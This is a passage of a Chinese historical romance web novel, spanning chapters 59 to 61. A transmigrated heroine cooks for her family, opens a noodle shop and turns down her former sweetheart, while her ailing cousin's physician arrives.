他安静的站在角落,他的眉目已不似初见时的清冷,黑色的大氅松松垮垮的披在身上,有些柔弱孤傲。 他并未出声打扰,只静静的看着知微手法娴熟的做菜。 她时不时会对一旁的翠儿说者什么,脸上带着恬淡的笑容,时不时会闻下味道,点头或者摇头,整个人似是已经忘记了昨日的烦恼,十分的鲜活。 知微似是要找什么,急急转了一圈以后发现那东西就在自己手里,她懊恼的模样叫聂斐然笑出了声。 这时候知微却是才发现他。 她有些惊讶,看着气质清冷的表兄,再看看周身的环境,嗯……神仙下凡到厨房?不太合适,他就不属于这个地方。 她挑挑眉,“然表兄何时来的?” 聂斐然似是憋了很久了,低头咳了几声才道,“没来多长时间,听淮阳说表妹在做吃食,便来看看。” 知微点头,只想劝他离开,瞧他那一副病殃殃的模样,一会再被油烟呛到就不好了,“表兄去饭厅等着可好?娘亲和姐姐应该都在,这屋里油烟大,对表兄的肺不好。” 神仙嘛,必然是不食人间烟火的。 聂斐然只淡笑着点头,嘴角微扬的模样倒叫知微差点看花了眼。 他也不计较她哄小孩子似的语气,又看了她两眼,这才转身离开。 他这小表妹,同小时候像是完全变了个人。 那时虽会跟在他后面说要嫁她,但却是不如现在这样活泼的,那时的小知意胆小话也不多,平时多是跟在哥哥姐姐们身后躲着。 如今的知微却是大胆独立,更鲜活一些,虽昨日才相见,他却是更喜欢如今的知微的,她敢爱敢恨,敢作敢当,对人对己都够狠,拿得起放得下。 他喜欢。 出了厨房的门便摇摇头又点点头,叫一旁的小厮看的莫名其妙的。 聂斐然一张清冷如谪仙的俊脸上此时竟然带了丝柔和的笑意,似是染上了几分凡间的烟火之气。 知微对这小插曲并不在意,见他离开,便只专心的对付手上的食材。 卤肉已经开始飘香了。 她也没去卤什么猪下水,一是这玩意难清洗,时间着急,二是她觉得这东西对常年锦衣玉食的家人还是难以入口的。 所以她只卤了些牛肉,猪肘,又煮了些鸡蛋扔里头了。 地锅卤肉,总是要快一些。 天色渐黑。 待她将面做好*,那边卤肉也已经可以出锅了。 虽说放凉更好,但是她的肚子已经呼噜作响了,顾不得了。 好久没吃自己做的饭,已经有些迫不及待了。 知微和翠儿已经解下了围裙,一家人围坐在一起,丫鬟婆子陆续上面。 菜已经上齐了,虾仁都是去了虾线的,跟鸡蛋一起油光蹭亮的。 肘子已经被去了骨,整齐的切成了一大盘。 厨房管事的刀工好,即使是热的卤牛肉她也能给切的又整齐又薄。 沈父带回的烤鸭也是也被整齐的码在了盘子里,外加两个小青菜,算是色相味俱全。 待丫鬟一海碗一海碗上面的时候,一家人目瞪口呆。 知微被家人的反应逗笑了,解释道,“在外头吃面都是用这种海碗,像是几位兄长这样的劳力,这么一碗都不够呢。” 她一早就打听了娘亲和姐姐爱吃的口味,叫丫鬟将两只小些的碗放到她们面前。 除了聂斐然,几位兄长俱是点头,以他们的饭量,吃这么两海碗也是容易的。 爹爹也颇为欣慰,他望着面前的牛肉面,也知女儿定是打听过他得口味的,他拿起筷子,道了句用饭吧,有些迫不及待的挑起一筷子面条塞进嘴里,嗯,口感确实不错,劲道,牛肉是红烧的,除了牛肉本身的肉香味还带着一丝丝的甜香,酱香浓郁,一点没有膻味,入口软烂,不塞牙。 每碗中都有一颗两面煎的金黄的鸡蛋,浸入面汤后,不咸不淡也不油腻,正正好。 再尝一口卤牛肉,已经不热了,卤料的香味已经渗透其中了,不错不错,香。 一时间,满屋只有呼噜面条的声音。 门口守着的下人咽了咽唾沫,今日的面食,也太香了吧。 高淮阳一口气吃净碗里的炸酱面才道,“就小妹这手艺,不开店确实可惜了,我还是头一次吃这么好吃的炸酱面呢。” 青瓜丝搭配肉酱,咸香爽脆,口感十分好。 他又端起面前另一碗汤面呼啦啦喝了起来,这回是雪菜肉丝面,先喝了一口面汤,微微带着酸,十分的开胃,呼啦一大口的面条,再来上一块清爽的酸萝卜,就两个字,舒服! 每个人对自己面前的面十分满意,只恨肚子有限,不能多吃几种。 高淮阳和姜恒就厉害了,两人一连吃了三碗才放下了筷子,这还是被高氏叫停的,实在是大晚上的,不叫他们用太多,不好克化。 沈父和沈知晖两人也都用了两碗,尤其沈父,还吃了好多牛肉,被高氏瞪了几次才悻悻放下筷子。 幸好知微早有准备,刚用过膳,便有下人上了促消化的山楂水,没有新鲜的山楂,她便用山楂干做了些,酸甜可口,也是好喝的。 聂斐然吃了一碗面后便停下了,他算是有心无力,今日的虾仁和青菜都甚和他的胃口,都是家常菜,但他却是很久没吃的这样舒服了。 高氏对小女儿的手艺也是颇为赞叹的,她最先放下了筷子,已经同小女儿讨论开分店的事情了,言语间是信心满满。 翠儿一脸的与有荣焉,睁着大大的眼睛听几人谈话,知微被娘亲夸赞的有些红了脸,“娘亲说的也太厉害了些,店铺还没开呢,就考虑分店的事情了,是不是太快了些。” 沈知蕴却有些不以为然,“快什么,你看看你几位兄长用膳的模样,吃的头都不抬,是不是对自己的手艺就有信心了呢。” 沈知蕴努努嘴,叫大家看自己男人们呼啦啦头也不抬的模样,一个个的便都笑开了。 这下倒确实叫知微有了信心,她想着,有一天,她是不是也能将面馆开成连锁店,开遍天南海北呢。 光这么想,她的眉眼就弯了起来,她仿佛看到了她的商业版图越来越广,有朝一日,竟真的开遍了这大兴朝的城池。 今日虽是上玄月,但是月色很美。 月光如水,照在人身上清清冷冷的。 她静静的站在松树下,仰头去看天上的月亮,银色的月光打在她得脸上,睫毛浓密,黑白分明,唇瓣是蜜粉色的,一张俏脸十分柔和。 二月的天,夜里还是极冷的,只是她并不觉,她心中很是温暖。 父亲刚说的话,她全都听进心里去了。 顾铭珏被他参了好一本,被皇帝遣走了,府上的守卫也添了许多。 父亲叫她按照自己的想法过活,家中的每一人都会无条件的支持与她,他们家,不惧流言。 她知道的。 想也想的出来。 自她回府,府外关于她得流言便沸沸扬扬,姐姐突然退亲,她突然被找到回府,昨日叶文章找来,一桩桩一件件怕是都被有心之人看了去。 只怕应有不少人家知道她是从安定侯府被找到的了。 还好,爹爹说安定侯府的下人被顾铭珏给勒令封了口,没一个敢往外蹦跶的。 但是关于她的传言,却不会由此停止。 安定侯府没了个貌美如花小妾,尚书府却多了个绝色的女儿。 她还没在京中露头呢,外头却不知已经将她传成了什么样子。 但她却是是不惧流言的。 她爹娘都不怕,她怕个屁。 她现在不是孤身一人了,家人的温暖叫她无所畏惧。 这是府上再平凡不过的一棵松树,她站在树下看着天上的孤月,眉眼柔和,身上仿佛发着光,叫人不由自主的就能被她吸引。 聂斐然远远的望着她,瞧着她看着月光出神,便慢慢的走了过来。 “表妹怎的站在这里,可是冷了?” 说着竟要解下身上的大氅,给知微披上。 知微笑着拒绝,笑着打趣道:“然表兄对自己的身体当真是,不太了解呢。”知微不冷,只是瞧着月色很好,便驻足看了几眼,表哥赶紧穿好,当心受凉。” 聂斐然咳嗽两声,俊脸被她说的已是染上了几分薄粉,却还是那副清冷如仙的模样,只是语气有些无奈,“表妹说的是,斐然还是要注意修养身体。” 知微点头说道:“用膳之前顺手吊了个梨汤,这个时辰应是好了,我吩咐吊好后叫人直接送于表兄院里的,表兄现在回去,温度应当正好。” 聂斐然一颗心不自觉的燥热起来,他按下心中的悸动,望着知微的眼眸又深了几分,客气道:“便多谢表妹了,表妹慢走。” 知微点点头,也不去细究聂斐然的眼神。 她又不是自带什么万人迷系统,叫所有的男人都痴迷,这位应也是惦记从前的小知微了。 可惜了,二人也算是青梅竹马。 嗯。”但是吧,就聂斐然这病美人的模样,也不知哪天就噶了,咳,还是算了把,小知微独自美丽就好。 那边厢聂斐然喝着梨汤却出了神,梅老头那已经研制了两年的药不知何时能成功,他已经有些等不及了。 梅老头便是那传说中的神医了,远在谷中的他没来由的打了个喷嚏,手里制药的动作也不停,嘴里嘟嘟囔囔着臭小子说走就走也不带我,不行,明日老子便动身找他去! 接下来的一段日子,知微都过的忙碌且充实。 吃的好,心情好,也不用再担心半夜有人翻墙进来,知微夜里睡的极好。 一早,她就要起来练防身术。 虽然开始几天却是身上又累又疼,但是每日一早练完功,花影月痕都会帮她推拿按摩做药浴,她倒是坚持了下来。 翠儿比她强的多,翠儿已经能够很好的适应师傅的训练,并且已经开始加大强度。 翠儿上午需要识字,知微则是将识字的时间改成了晚上,沈知蕴亲自教她。 她会的本就多,上辈子的大学不是白念的,她每日给自己定的任务是认识繁体字,并将字练的好看一些,不至于一张纸写五个大字。 沈知蕴知她养父是个秀才,以为她是耳濡目染,平日只是缺少学习和练字的机会,并未对她产生怀疑。 白日里,她需要去店铺盯着装修,定店铺的菜单,隔上两日念秦还会来上半日,主要是教她下毒,这个她就是什么都不干,也得学的。 就这么一连十几日,店铺马上开业,她才终于有时间歇上半日了。 无它。 舅舅舅妈终于到了。 第59章 小舅舅一家来的那日,天朗气清,惠风和畅。还未到午时,一…… 小舅舅一家来的那日,天朗气清,惠风和畅。 还未到午时,一家人接了信便在正门外迎接。 巧的是今日沈家男子皆是休沐的日子,一家人整整齐齐的等在门口。 几辆低调的马车悄然而至,高全首先下了马车,他四十多岁的年纪,身材高大,是个面容白皙俊美的帅大叔。 高全行二,上头还有个大哥高成,所以这位可比大哥要操的心少多了,自是也年轻许多,同高氏也是有几分相似的,年轻时也是风流倜傥英俊潇洒那一挂的。 紧接着下马车的是二舅母王氏,王氏保养的很好,微微有些富态,慈眉善目的,锦衣华服非常有亲和力,一张脸圆乎乎的,看起来比实际年龄要小上许多,同高全是自幼定下的婚事,青梅竹马,夫妻二人感情极好。 她牵着十三岁的女儿高雅晴也跟着下了马车。 高淮阳赶忙近身叫了声爹娘。 高氏一声兄嫂还未叫出,就已是泪流满面。 王氏拍拍小妹的手背,一双眼睛却是望向了知微。 这,知微的相貌确实跟婆婆更像,要更好看些,一双笑眼,直叫人看的心都化了。 她有些激动,未语泪先流,“这是知微吧?好,真好,回来了就好,回来了就好。” 沈知蕴带着知微跟两位长辈见礼。 王氏和高氏在未出阁时就是手帕交,当小知意如亲女一般,每每想到知微的遭遇都是心如刀割,如今知微能回来,她自是十分的高兴。 小舅舅也红了眼,沈鸿笑着招呼:“咱们进府去吧,知微知道兄嫂今日到,一早便准备起饭食,还说什么上车饺子下车面,做了十余种面呢,赶紧进府收拾收拾,尝尝知微的手艺。” 沈鸿摸着自己那并不太长的胡须,语气里尽是显摆。 高全夫妻一听便来了兴趣,这一路的风餐露宿,也惦记着小妹一家,真是没好好用过膳,妻女都瘦了许多,听到外甥女如此贴心,心里不免感动起来。 边走边听高淮阳跟小妹咋咋呼呼的吹嘘:“小妹,你都不知道你知微姐姐的手艺有多好,一会多吃点啊,哥看你和娘都瘦了。” 小妹长相虽了母亲,一张脸圆溜溜的可爱,性格也很活泼,眼睛睁的大大的疯狂点头,高淮阳继续道:“来的早不如来的巧,知微的面馆明日开业,到时候哥每日都带你去,保准不出三日就给你养回来,你看看哥,最近是不是胖了?” 王氏无奈的看了没心没肺的儿子一眼,仔细一巧,还真是胖了不少,这脸都团了。 沈知蕴笑着打趣:“你再吃就吃成胖子了,小妹可说了,叫你学学斐然,一顿只吃一碗,要控制你的饭量呢,不若你匀些肉给斐然吧,斐然太瘦了。” 高淮阳自是一阵控诉,聂斐然看看自己这小身板,眼中尽是无奈。 沈知晖等人皆是摇头看两人笑话,一家人十分的热闹。 知微挽着翠儿的胳膊,笑呵呵的听家人说话,她瞧的分明,小舅舅一家都是和善之人,同她们家的感情也十分之好。 真好,是和睦的一家。 待到了正厅再次同两位长辈见了礼,也收了礼物,知微便告罪,带着翠儿去了厨房,高雅晴好奇,不顾劳累,也由沈知蕴陪着去了。 这不看不知道,一看吓一跳。 刚才还如天上嫦娥般美貌的二表姐,将披风一脱便系上了围裙,连钗环都没有摘,就那么垫起了锅铲。 虽然油烟大,但是她的动作却很赏心悦目,丝毫不拖泥带水,她下菜翻动锅铲的样子又十分的专注,对待每一道菜都十分的认真。 她只做了几道之后便将锅铲交给了厨娘,认真看她们的放调味料的时机,对菜品的掌握,并且还会认真的讲解,做的好的她会丝毫不吝啬自己的夸赞,叫高雅晴看的一愣一愣的。 沈知蕴摸摸小表妹的头解释道:“这几位都是你知微姐姐为面馆培养的厨娘,所以教的非常之用心。” 知微看时间差不多了,便将剩下的工作全部交由了几位厨娘,转身带着翠儿出去了。 她转身看到小表妹看自己的眼神,便知这位对自己充满了好奇。 她笑着对姐姐妹妹点点头,“怎的都来了,这里油烟之气大,咱们还是快些回去吧,一会便可用膳了,不知道会不会和表妹的胃口,表妹喜欢吃哪道,回头告诉姐姐,姐姐经常给你做。” 高雅晴看牵着自己手的神仙表姐,不由的羞红了脸,愣愣开口道:“二表姐,二表姐真好看。” 众人忍笑,只见她一瞬不瞬的盯着知微严肃认真道:“表姐做的雅晴都喜欢。” 一句话叫几个女孩子都笑了起来,翠儿不住点头,觉得这个小表妹真有眼光,沈知蕴则是无奈叹了口气,得了,又一个小妹的花迷。 一顿饭吃的,自是宾主尽欢。 虽然舅舅一家是南方人,但是对于面食,吃的却也是很享受。 尤其在疲惫了多日,来上这么一碗热乎乎的汤面,实在是从胃到心的舒服。 尤其是知微的那句上车饺子下车面。 虽然是民间俗语,也不知这孩子是打哪听来的,但是他们这群长辈听了,心里都很是舒心,而当王氏看到聂斐然看知微的眼神,更是打心眼里高兴。 她同聂斐然的母亲情同姐妹,姐姐去的早,她的心里是极赞同斐然和知微在一起的,不要说知微什么跟人做过妾室,他们聂家现任的当家主母也是和离后才跟的斐然他爹。 聂家上一辈不搞那套虚的,门当户对,两情相悦,还不够吗。 当人妾室也是无奈之举,那是为了保命呢,他们作为长辈,自是不会也不能拿着刀子去背刺自己的孩子。 不过知微刚回来,斐儿的身体也不好,这事还得再等等,若是梅神医能将斐儿的病医好,哎吆,她做梦都能笑醒。 而远方正在疲于赶路的顾铭珏,正吃着硬邦邦的饼子,就着不怎么热了的茶水,一张脸黑如锅底,冯三和卫虎还在那嘀咕呢,你说怎的马上就三月了还这么冷,这大冷天的要是能来上一碗热汤面,哎吆,这得多舒服啊。 卫虎踢了冯三一脚,冯三悻悻的闭了嘴。 他这张嘴哦,真是哪壶不开提哪壶。 顾铭珏哼了一声直接不吃了,转身上了马。 卫虎和冯三等人赶紧跟上,在众人的声讨中,冯三赶紧求饶。 但是内心的想法是怨他干什么,侯爷自己将人作没的。 撇撇嘴,到现在大小姐还只是被拘在院子里,才跪了两天祠堂,也没什么实质性的惩罚,换做他是叶姨娘,找到了家人,也断不会再跟侯爷有什么牵扯,一整个的拎不清,口口声声对人家好,结果连人都护不住。 顾铭珏此时是十分想念知微,想念他平日里给她做的那一碗热汤面,想念她的一颦一笑,她写在脸上的小心思,她傲娇的小表情,都叫他久久不能释怀。 他断然不会放弃的,抢也要将人再抢回去! 又狠狠揉了揉眉心,这四五个月不能回去,不知会不会有何变数,希望三皇子答应他的事情能说到做到。 第二日一早知微同翠儿便去了面馆,踏着朝阳,她们一步一个脚印的走向光明前程。 百姓面馆今日正午开业,所有菜品买一赠一。 牌匾是沈鸿写了后找人做的,简单的百姓两个字,没有龙飞凤舞,只是百姓面馆四个大字,板板正正,苍劲有力。 因为优惠的力度比较大,前期准备就比较麻烦,她算是事无巨细,亲自上阵。 面馆并不大,只是简单的刷了墙面,按了柜台,几张桌子,后院打了井和几口灶。 只是大厅内的墙上挂的全是知微专门找人画的图,每一张都属于写实派的,一张画便是一碗面,面上的配菜肉丝,连面上的热气都画了出来,热气腾腾的,叫人看了食指大动。 红叶从庄子上选了六人给她送来。 两个年纪较大,但手脚还算麻利的婆子,负责清洗碗筷,收拾桌椅卫生。 跑堂的是三个青年。 年纪都不大,十七八岁,都是庄子上佃户的孩子,属于勤快会说话长相也齐整的。 还有一个是年纪稍大的掌柜,孙掌柜,听说原是个秀才,后来出了事伤了条腿便消了科考的心,又几经辗转才去到红叶的庄子上帮工。 红叶一直是觉得孙秀才这人放在庄子上是大材小用的。不是没想过叫孙掌柜去别苑帮忙,但是都被孙掌柜拒绝了,但这次的面馆是孙掌柜自己要来的。 具体原因,旁人不知,红叶只意味深长的看了孙掌柜一眼,叮嘱了一句不要做不该做的事,便将人送来了。 已经准备了几日了,孙掌柜确实是有些手段的,后厨的三个厨娘全是知微从沈府带来的,此时已经融入了百姓面馆的集体中了,对孙掌柜颇为信服。 知微只关心菜品,旁的倒是一概不问的。 用人不疑。 她打从一开始见到孙掌柜,就知道这人身上是有故事的,也猜到他来她这面馆目的不纯,两人聊了挺长一段时间,再出来的时候,孙掌柜对知微不仅仅是上下级的模样,倒像是真的臣服与她,认做了主家了。 午时还未到红叶便带着念秦也来了,见此情况只悄咪咪摸了摸知微的脑袋,表示她干的不错。 娘亲和舅母也早早来了一趟,待了一会便叫知微哄走了。 沈知蕴和高雅晴留下帮忙。 高淮阳跟个猴子似的上蹿下跳,被沈知蕴训斥了一番这才老实去了柜台。 只是不一会就不见了人,也不知到哪混去了。 聂斐然今日竟是一身红袍,叫来往的行人都忍不住多看几眼,知微不由得感叹,今日的女客一定会很多,秀色可餐呢。 到底是见他在自己身边转悠的时候问了一句,“然表兄今日可是要在我这面馆相看哪家的贵女?怎的穿的如此好看,将我这面馆的红色招牌都给比下去了。” 聂斐然也不生气,只淡定的咳了两声道:“表妹可喜欢?若表妹喜欢,那表兄便每日都这么穿,可好?” 这下倒叫知微尴尬起来,调戏不成反被调戏了,她假意咳了一声,道了句也不是不行,便要慌忙逃离。 却不想,一转头却对上了一张俊美哀怨的脸…… 是宋言澈。 沈知晖摸了摸鼻子抬头望天,对,他就是故意的。他本是告了会假自己来的,开业后他便赶回去,却没想宋言澈软磨硬泡,非要跟他一起来。 他自是知道斐然的心思,于是,瞧着小妹和斐然说话,便直接将人引到这,故意没出声,叫宋言澈听全了两人的谈话。 他倒没想到小妹如此给力,张嘴就将人调戏了。 宋言澈装备齐全,贺仪都带了。 一身绯色的官服,衬的宋言澈整个人神采奕奕,因马上见到知知而容光焕发的脸庞却在看到知微调戏美男的时候,瞬时挎了下来…… 要说以前,他是万不会相信知知会对男子说出如此孟浪的话的,但是如今时过境迁,知知人都敢杀,别的自是一切皆有可能,正常,都算正常。 他也会时常发疯的不是吗。 他深吸口气,将一颗嫉妒到发疯的心脏抚平,试图叫自己的笑容不那么酸涩。 知微抿着唇瞪了看热闹不嫌事大的兄长一眼,转而对着宋言澈道了句宋大哥。 宋言澈也没有多言,只将手中的贺仪递了过去,道了句开业大吉,知微也没打哽,微笑着接过,唤过孙掌柜引宋言澈进大堂。 聂斐然故意咳了两声,同宋言澈并排走了进去。 知微没看见,她掐着腰正教训兄长呢。 柜台旁的红叶往念秦的手里塞了把瓜子,主仆二人吃的津津有味。 红叶待仔细看过宋言澈和聂斐然的脸后啧啧两声对念秦小声道:“你别说,这俩人的脸是比珏哥儿好看。” 念秦点头,补刀,“不光是脸,还没后院。而且。” “宋言澈家中只一个老仆,但没后台。聂斐然,亲爹后妈,人都不错,但是身体不好,活不长。” 红叶噗嗤一声笑开了,知微不论跟谁这日子过的应该都挺爽,“确实哪个都比珏哥儿强一些,不只是脸。” “走吧,面就不吃了,说好了陪祖母用午膳的,小老太太最近是惯会折腾人。” 念秦怀里还揣着知微写给陆兰芷的信呢,转身从柜台上取了两个大食盒,二人便去了侯府。 千里之外的顾铭珏不由得打了几个喷嚏,心里有种极不好的预感。 午时一到,锣鼓喧天鞭炮起舞,百姓面馆正式开业。 别说什么热闹,人家百姓面馆那叫座无虚席。只半下午,准备卖上一日的面便早早的卖光了,众人是累到摊坐在地上。 连帮着收钱的翠儿和高雅晴两人都表示快累死了,数不完,根本数不完。 知微大手一挥,让贴了面已卖光,明日活动继续的告示便关了铺子。 又叫人去定了席面,众人吃饱喝足后这才归家。 第60章 面馆的生意极好,半个月之后已经步入了正轨,每日的客流量基本上保持了 面馆的生意极好,半个月之后已经步入正轨,每日的客流量基本上保持了稳定。 知微也不每日都去了,终于空下了时间来做其他的事情。 可惜了,她下了几次帖子给陆兰芷,都没能将人约出来。 她自然知道有人搞鬼,无论如何,她们自是不会因为这个就生分了。 今日铺子生意极好,快至晚膳时间,翠儿和高雅晴两人在柜台后面边帮着收银边说悄悄话,高淮阳靠在柜台一角,摩挲着微微胖起来的肚子考虑一会回去用几碗饭比较好,面香和着肉香直往他鼻腔里钻,勾的他有些饿了。 只聂斐然,眯着眼睛打量同崔文远勾肩搭背进来的宋言澈。 知微在二楼的雅间算账,待她一出来,便迎头碰上了宋言澈。 二人隔空相望。 那日宋言澈送她的贺仪,是一幅自己画的美人图,画上的美人,自然不是别人。 她将画作收好,准备之后烧给原身。 自从面馆开业,知微基本上每日都会遇到宋言澈。 可谓是风雨无阻。 无论多晚,只要面馆开门,宋言澈下值后都会来点上一碗菜单里没有的猪油汤面。 知微知道后特意吩咐厨娘,给他在面里卧一枚蛋,不是煎蛋,也不是卤蛋。 是温水下锅煮的,完整的荷包蛋。 这是从前的叶知微给宋言澈做过的,宋言澈爱吃的汤面。 那时条件有限,一筷子猪油,一枚鸡蛋,便是不可多得的美味。 知微抚摸着自己的心口,原主她似乎很少会有意识了。 又是一声叹息,对上宋言澈痴汉一般的眼眸,她微微点头,吩咐花影将人请去雅间。 崔文远跟着宋兄吃了几日的面了,他在后面絮絮叨叨,虽说确实好吃,但也不能每日的晚食都吃面啊。 跟在宋言澈身后上来的他刚要表示抗议,喝花酒几个字还没说出来,就见有小丫鬟行至二人身前,邀请宋言澈去雅间。 他连忙要跟上去,却被小丫鬟给拦住了,他后知后觉,他说刚才宋兄在前头停住了半晌呢,是遇到心尖尖上的人了啊,不能进去的他急抓耳挠腮。 崔文远自然是知道这百姓面馆东家的身份的,不然也不会跟着宋兄经常来。 哎呀,好不容易遇上了,也不叫他见识见识,八卦两句。 敢扒他姐夫墙角的,宋兄绝对是京都头一个! 他是哪个都惹不起的,无奈叹了口气,老实的在二楼寻了张桌子,点了些卤菜,不知从哪摸出壶酒,自顾自的喝了起来。 宋言澈有些激动的跟了上去,他内心有些忐忑,望着知微的背影,思绪万千。 知知还是那样,纵使如今锦衣玉食,奴仆成群,却还是那幅清丽出尘的模样,一如娇娇明月,天上仙子。 他想要靠近她,想诉说自己的思念。 但是他忍住了。 他们如今身份已有所不同。 他定定的看着她,眼眸里盛满了相思,半晌才开口道了声,知知。 知微轻舒口气,她的心口已经不似从前见到他时的激动了。 她想,原身可能真的要走了。 知微淡笑着回了句,宋大哥。 她没急着叙旧,叫宋言澈稍等她片刻,便转身去了后厨,按着记忆,亲手煮了碗猪油汤面,这可能是二人最后的道别了。 宋言澈只愣愣的坐在那里,一瞬不瞬的盯着雅间的门,他恍惚中察觉到了知微和从前的不同,他抚摸着自己的心口,那里异常的酸涩,不是失而复得,倒像是即将失去和远离的难过。 崔文远伸着头,待看到知微亲自端了碗面进了雅间,啧啧两声,心说还得是宋兄啊,都吃上老板亲手做的面了。 楼下的高淮阳撇了撇嘴,捅了捅聂斐然的胳膊道:“不担心?孤男寡女共处一室,嘶……” 他话还没说完便被自己小妹拧了一把,翠儿和高雅晴二人对高淮阳杀气腾腾,“再胡说!” 聂斐然脸色瞧着并未有何异样,他思趁片刻,才缓缓踱着步子上楼。 三人你看看我,我看看你,忙不迭跟了上去。 宋言澈接过面,眼睛再看向知微的时候,已经带上了一层雾气。 他并不知眼前的人已经换了芯子,但他知道,回不去了,他们,再也回不去了。 知微此时的心中也是有些难过的,为这对有情人。 她笑着开口,眼睛却忽的落下泪来:“宋大哥,快吃吧,凉了便不好吃了。” 这是原身的心意。 宋言澈点头,深情的望她一眼,拿起筷子,开始吃面。 他吃的很慢很慢,似有眼泪落到了面里,带着微微的苦涩,他似乎知道她开口要说些什么。 看他将面汤也喝光了,知微右手抚上了心口,她的心脏在剧烈的跳动的,是原身的意识,回来了。 她不再保持冷静,或者说,自她开始亲手为宋言澈做面的时候,原身的意识便苏醒了。 再开口,已是泪流满面。 “宋哥哥,你要好好活着,你说过的光宗耀祖,做个好官,你,忘了我吧,咱们缘分已尽……” 宋言澈愣愣的看着她,整个人不自觉激动起来,“不好,知知,一点都不好,我怎么会忘得掉你呢?是我食言了,是我不对,是我来晚了……” “我,我会努力,给我些时间,我会努力追的上你,知知,给我个机会,好不好?” 可是只刚刚那一句宋哥哥,那一句话,原主就好似用尽了所有的力量,意识忽的消散了…… 知微平复下心情,擦净眼泪,让自己恢复淡然的模样。 知知她已经去了,我并不是你的知知。 她硬下了心肠,一字一句道: “宋大哥,从前的知知已经去了,现在站在你面前的,是沈家二女,沈知微,知微对宋大哥,并未有任何男女之情,请宋大哥。” 却听砰的一声,门外有人碰到了门板,门外吵吵嚷嚷的,什么表妹姐姐什么外男,打断了她要开口说的话,叫她火冒三丈。 知微眉头紧皱,今日这话,是说不成了。 她咬着牙,转身猛的将门打开,门外的三人砰的一声砸到地上,首当其冲的自然是高淮阳。 知微难得板起了脸,面无表情的看三人从地上爬起来,翠儿支支吾吾解释,她们不是故意的,就是,就是想看看姐姐在干嘛,嗯…… 罪魁祸首聂斐然,却捂着嘴咳嗽两声,拖着一步三喘的身子进来了。 “知微表妹,是表兄的不是,咳,是我,表妹怪我吧。” 知微只冷冰冰的看着四人演戏,待眼睛盯的四人都闭了嘴之后,转身对宋言澈道了句抱歉,想离开,却又停下了。 她转过身,郑重的对宋言澈道:“宋大哥,知微刚才说的话都是发自真心的,还请宋大哥记在心里。” 说完看也不看任何人便径直离去。 聂斐然摸了摸鼻子,脸上哪里还有做错事的小心模样,他转过头冲宋言澈勾了勾唇角,一副胜利者的姿态,而后缓缓的下了楼。 徒留宋言澈一个人失魂落魄的站在那里。 看了半天戏的崔文远终于冒头,无奈拉着宋言澈到自己桌喝酒。 他也不知道怎么劝,只一杯一杯的将酒杯倒满。 “酒后高歌且放狂,门前闲事莫思量。来!宋兄!喝醉了就不想了!喝!” 出了雅间,知微叹了口气,也不知道这人能不能发现她和从前知微的不同,她必须狠下心来,将两人割舍开才行。 她不能可怜宋言澈啊!绝对不行! 宋言澈记挂的喜欢的都是原身,她哪能那么没脸没皮的,连爱人也给人占了去! 也不知她今日说的,宋言澈能不能听进去,要是可以,她真的希望两人不要再见面了。 实在是她有原身的记忆,整个人不自觉的会受原身的记忆影响。 可她不知道,也就是这一次的拒绝,将事情弄巧成拙,宋言澈的执念越来越深,他们之间的牵扯,越来越多…… 一直到回了府,知微的一张脸还是沉的厉害。 翠儿同高雅晴二人低着头,老实的跟在姐姐后面,高淮阳则是早就溜了,没敢出来碍眼。 聂斐然一直在观察知微的脸色,心里变的有些琢磨不透,小表妹,不会真对那位同乡有意吧? 单看长相,那位确实也不错,但跟他比,是差一些的。 但是那位身体康健,还是个传胪,功名在身! 他后知后觉,他这幅身体必须得好起来了,不若再考个状元? 知微其实也不是生气,就是想给捣乱的四人吃点教训,做事没个轻重,*以为她脾气多好似的。 一进正厅便见长辈们正围着个白胡子老头说话,那白胡子老头见聂斐然回来了,竟直接将人拉了过去,好一顿数落,话里话外都是对他扔下自己的不满。 这些话,聂斐然应是听惯了的,一张脸上写满了无奈,一屋子里的人听着老头絮絮叨叨,长辈们也没一个帮着聂斐然说话的。 无它。 这位便是掌握着聂斐然身体状况的梅神医。 说什么聂斐然都得老实受着,谁叫他能活多少岁,人家老头说了算呢。 梅老头是个不修边幅的医者,医术高明,被百姓尊称梅神医,鹤发童颜。 他年轻时受过聂斐然祖母的恩惠,近些年一直照顾着聂斐然的身体。 直到近日他终于研究出能将聂斐然胎里带出来的毛病治好的方子,便火急火燎的找了过来。 还有一个原因是老头年纪大了粘人的紧,怕孤单,总想要人陪伴。 梅老头那一肚子的不满在看到知微的那一瞬间顿时烟消云撒,他一下跳到知微身前,动作麻利的根本不像是六十岁的糟老头。 他围着知微不停打转,啧啧几声道:“这就是斐然找的媳妇吧,难怪会将老头子扔下不管呢,不错不错,斐然眼光不错。” 转头又对着沈父道:“两个孩子何时完婚呢?斐然这小子一封信也不递,我这见面礼都没准备。” 说完摸着身上的东西,最后从怀里掏出个药瓶就要塞到知微手上,还是被聂斐然眼疾手快给制止了,“叔公,别闹,这是知微,我们尚未定亲。” 梅老头咋咋呼呼,“什么?尚未定亲?” 随即点头又摇头,“也对,你这小身板也不着急成婚啊,行了,老夫知道了。”又要拉着知微说些什么,却被沈父和小舅舅制止,二人连忙将人拉走哄着喝酒去了。 高氏看女儿的脸色不太好,同王氏对视一眼,道了句咱们也去用膳吧,便带着女孩子们去了偏厅。 沈知蕴今日参加姐妹的宴请喝了些果酒,回府后便去睡了,适才刚清醒过来。 看小妹呢脸色,便将花影叫至身前,询问出了何事。 待花影如实回禀之后,沈知蕴只点点头,又看看缩成鹌鹑的翠儿和高雅晴,招了招手叫二人过去,问道你二人可知错了? 二人疯狂点头,沈知蕴笑道,“那你二人以后还跟不跟着淮阳胡闹了?” 二人的头摇的跟拨浪鼓似的,沈知蕴满意点头,“若是知微在雅间跟别人谈论的是要紧的事情,你们就真的闯祸了,去吧,跟姐姐好好道个歉,她定不会生你俩气的。” 她自是看出来小妹是吓唬这俩人呢,不过淮阳跑了,还有个罪魁祸首聂斐然呢,就是不知道小妹怎么收拾他了。 60-70 第61章 弯月如钩,静挂夜空,春风摇曳,拂过一株梨树,片片洁白无瑕的花瓣就那 弯月如钩,静挂夜空,春风摇曳,拂过一株梨树,片片洁白无瑕的花瓣就那么散落下来,悄无声息的,活入泥土里。 晚食刚过。 翠儿和高雅晴在得到了知微的原谅之后乐颠颠的顽去了,二人差不多的年纪,一样活泼的性格,喜爱舞抢弄棒,力气都比平常女子大,可谓是臭味相投,这刚用了晚食,两人便结伴找高淮阳算账去,有仇当场报,不隔夜。 至于始作俑者聂斐然,两人将他忽略了,不能跟病秧子计较,就聂斐然那个样子,定受不住两人一拳的。 以至于后来两人亲眼目睹聂斐然的惊人战斗力的时候,差点惊掉下巴。此为后话,暂且不表。 